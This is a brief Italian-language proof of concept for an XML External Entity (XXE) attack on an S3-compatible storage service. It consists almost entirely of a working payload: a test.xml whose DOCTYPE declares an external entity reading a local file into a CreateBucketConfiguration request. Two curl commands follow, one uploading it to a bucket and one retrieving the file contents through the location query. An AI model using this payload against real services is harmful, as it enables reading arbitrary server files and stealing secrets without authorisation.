
XML External Entity PoC in un S3.
Sfruttamento di una vulnerabilità XML External Entity (XXE).
test.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///path/to/file">
]>
<CreateBucketConfiguration>
<LocationConstraint>&xxe;</LocationConstraint>
</CreateBucketConfiguration>
Usa curl per caricare test.xml dalla nostra macchina locale al bucket.
curl -X PUT http://127.0.0.1:PORT/TB1 -H "Content-Type: application/xml" -d @test.xml
Attiva l'exploit e recupera il file
curl http://127.0.0.1:PORT/TB1?location